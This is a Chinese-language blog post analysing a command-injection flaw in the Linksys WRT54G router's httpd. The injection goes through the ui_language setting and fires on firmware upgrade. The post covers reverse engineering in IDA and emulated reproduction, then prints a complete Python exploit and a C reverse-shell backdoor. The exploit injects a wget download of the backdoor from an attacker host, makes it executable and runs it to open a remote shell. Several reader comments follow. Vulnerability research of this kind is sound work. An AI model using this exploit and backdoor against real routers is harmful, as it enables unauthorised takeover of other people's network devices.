linksys WRT54G命令注入

固件安全
2022-04-24 23:54
41289

linksys WRT54G命令注入

漏洞描述&链接

在路由器登录后设置前端显示语言时存在过滤不严格,将恶意命令存入内存,导致在升级固件时造成命令注入漏洞

固件地址:https://www.linksys.com/us/support-article?articleNum=148648

firmeye:https://github.com/firmianay/firmeye

漏洞分析

binwalk解包固件之后得到文件系统

查找web服务器

find ./ -name "*http*"
grep -r "cgi

分析得到该路由器cgi功能是融合在httpd也就是web服务器文件中

将httpd拖进IDA,查找危险函数,首先查看system


有一处调用可能存在命令注入,直接拼接没有过滤,随后system()执行拼接后的结果,v6是nvram_get获取的ui_language值,是前端ui显示语言,这里的函数顾名思义是路由器更新功能,

ps:NVRAM是非易失性随机访问存储器,是指断电后仍能保持数据的 一种RAM。在嵌入式系统领域内, 可以直接理解成板子上的FLASH 芯片,里面保存着代码数据,用 户配置数据等,如 UBOOT,kernel,rootfs,user data。数据多以key/value形式储存。

在IDA搜索字符串ui_language,查看调用是由device_get_string_value()获取,没有经过过滤,猜测前端获取ui_language值同样没有过滤

漏洞复现

使用FirmAE模拟固件,成功模拟

使用admin/admin登录,设置ui显示语言,抓包,将ui_language修改为;+ping命令,需要url编码,放包后发现界面显示已损坏,说明这里

NVRAM已经成功存储ping命令

wireshark监听192.168.1.2,设置协议为icmp,因为前面存在漏洞的函数为升级功能,所以升级固件,创建一个扩展名为bin的文件,升级固件,由于存在前端校验,使用burp抓包绕过,然后放掉所有固件升级的包

ps:这里需要注意,在注入ping命令后,路由器页面已损坏,所以在验证时,需要提前打开两个页面,一个正常页面,另一个需要提前打开到固件升级页面

wireshark监听到icmp的包,来自路由器ping我的主机,命令执行成功

GETSHELL

路由器没有telnetd,sshd等,查看路由器架构为MIPS小端,植入一个相应架构的二进制后门,这里使用buildroot编译

执行exp,得到反弹shell

exp

exploit.py

import argparse
from dataclasses import dataclass
from typing import Tuple

import requests

import router_requests


@dataclass
class Router:
    host: str
    creds: Tuple[str, str]

    DEFAULT_LANG = 'en'

    REVSHELL_REMOTE_PATH = '/tmp/X'
    PING_LOG_REMOTE_PATH = '/tmp/ping.log'

    def exploit(self, attacker_host: str, attacker_handler_port: int, attacker_http_port: int):
        print(f'[*] Exploiting Linksys WRT54G @ {self.host}')
        self._upload_revshell(attacker_host, attacker_http_port)
        self._chmod_revshell_executable()
        self._run_revshell(attacker_host, attacker_handler_port)
        self._set_ui_language(self.DEFAULT_LANG)

    def _upload_revshell(self, attacker_host: str, attacker_http_port: int):
        print('[*] Uploading reverse shell executable.')
        self._run_shell_cmd(
            f'wget http://{attacker_host}:{attacker_http_port}/revshell -O{self.REVSHELL_REMOTE_PATH}')

    def _chmod_revshell_executable(self):
        print('[*] Making the reverse shell executable.')
        self._run_shell_cmd(f'chmod +x {self.REVSHELL_REMOTE_PATH}')

    def _run_revshell(self, attacker_host: str, attacker_handler_port: int):
        print('[*] Running the reverse shell!')
        self._run_shell_cmd(f'{self.REVSHELL_REMOTE_PATH} {attacker_host} {attacker_handler_port}')
        print('[*] Reverse shell exited!')

    def _run_shell_cmd(self, cmd: str, with_output: bool = False):
        cmd = f';{cmd}>{self.PING_LOG_REMOTE_PATH} 2>&1;' if with_output else f';{cmd};'
        print(f'[*] Running: {cmd}')
        self._set_ui_language(cmd)
        self._upgrade_firmware()

    def _set_ui_language(self, ui_language: str):
        req_query = router_requests.get_ui_language_query(ui_language)
        req = requests.post(f'http://{self.host}/apply.cgi', data=req_query, auth=self.creds)
        if not req.ok:
            raise ValueError(f'Failed to change ui_language. Request: {req}')

    def _upgrade_firmware(self):
        print(f'[*] Issuing a firmware upgrade.')
        req_query = router_requests.get_upgrade_query()
        req = requests.post(f'http://{self.host}/upgrade.cgi', data=req_query, auth=self.creds)
        if not req.ok:
            raise ValueError(f'Failed to issue a firmware upgrade. Request: {req}')


def main():
    parser = argparse.ArgumentParser(description='LinkSYS WRT54G Exploitation.',
                                     formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument('--host', required=True, help='Host of the router.')
    parser.add_argument('--username', default='admin', help='Router\'s username.')
    parser.add_argument('--password', default='admin', help='Router\'s password.')
    parser.add_argument('--attacker-host', required=True, help='Attacker\'s host.')
    parser.add_argument('--attacker-handler-port', type=int, default=4141, help='Reverse shell TCP handler port.')
    parser.add_argument('--attacker-http-port', type=int, default=8000,
                        help='HTTP server port to serve the reverse shell executable.')
    args = parser.parse_args()

    router = Router(args.host, (args.username, args.password))
    router.exploit(args.attacker_host, args.attacker_handler_port, args.attacker_http_port)


if __name__ == '__main__':
    main()

router_requests.py

import ipaddress


def get_ui_language_query(ui_language):
    return {
        "ui_language": ui_language,
        "lan_ipaddr_0": "192",
        "lan_ipaddr_1": "169",
        "lan_ipaddr_2": "1",
        "lan_ipaddr_3": "100",
        "lan_netmask": "255.255.255.0",
        "submit_button": "index",
        "change_action": "gozila_cgi",
        "submit_type": "language",
        "action": "",
        "now_proto": "dhcp",
        "daylight_time": "0",
        "lan_ipaddr": "4",
        "wait_time": "0",
        "need_reboot": "0",
        "wan_proto": "dhcp",
        "router_name": "WRT54G",
        "wan_hostname": "",
        "wan_domain": "",
        "mtu_enable": "0",
        "lan_proto": "dhcp",
        "dhcp_check": "",
        "dhcp_start": "100",
        "dhcp_num": "50",
        "dhcp_lease": "0",
        "wan_dns": "4",
        "wan_dns0_0": "0",
        "wan_dns0_1": "0",
        "wan_dns0_2": "0",
        "wan_dns0_3": "0",
        "wan_dns1_0": "0",
        "wan_dns1_1": "0",
        "wan_dns1_2": "0",
        "wan_dns1_3": "0",
        "wan_dns2_0": "0",
        "wan_dns2_1": "0",
        "wan_dns2_2": "0",
        "wan_dns2_3": "0",
        "wan_wins": "4",
        "wan_wins_0": "0",
        "wan_wins_1": "0",
        "wan_wins_2": "0",
        "wan_wins_3": "0",
        "time_zone": "-08+1+1",
        "_daylight_time": "1",
    }


def get_upgrade_query():
    return {
        "file": '; filename="pwned.bin"',
        "submit_button": "Upgrade",
        "change_action": "",
        "action": "",
        "process": ""
    }
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])
{
    int port, sockt;
    struct sockaddr_in revsockaddr;

    if (argc != 3)
    {
        fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    port = atoi(argv[2]);

    sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

    connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char *const sh_argv[] = {"sh", NULL};
    execve("/bin/sh", sh_argv, NULL);

    return 0;
}

总结

在手工寻找命令注入漏洞时,可以从两个方向入手。

1、从数据输入点入手,看获取了哪些输入,跟踪输入的信息变量,看最终结果有没有被危险函数如system popen等执行。

2、从危险函数入手,不光要查找system popen等,还需要查找“包装后的”,例如dosystem,dopopen,docmd等等。如果有直接拼接就使用system()等执行的,就需要往上查看输入源,如果可控且过滤不严格,就有可能存在命令注入。

分享到

参与评论

0 / 200

全部评论 4

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:34
iotstudy的头像
学习了。
2022-06-23 09:27
投稿
签到
联系我们
关于我们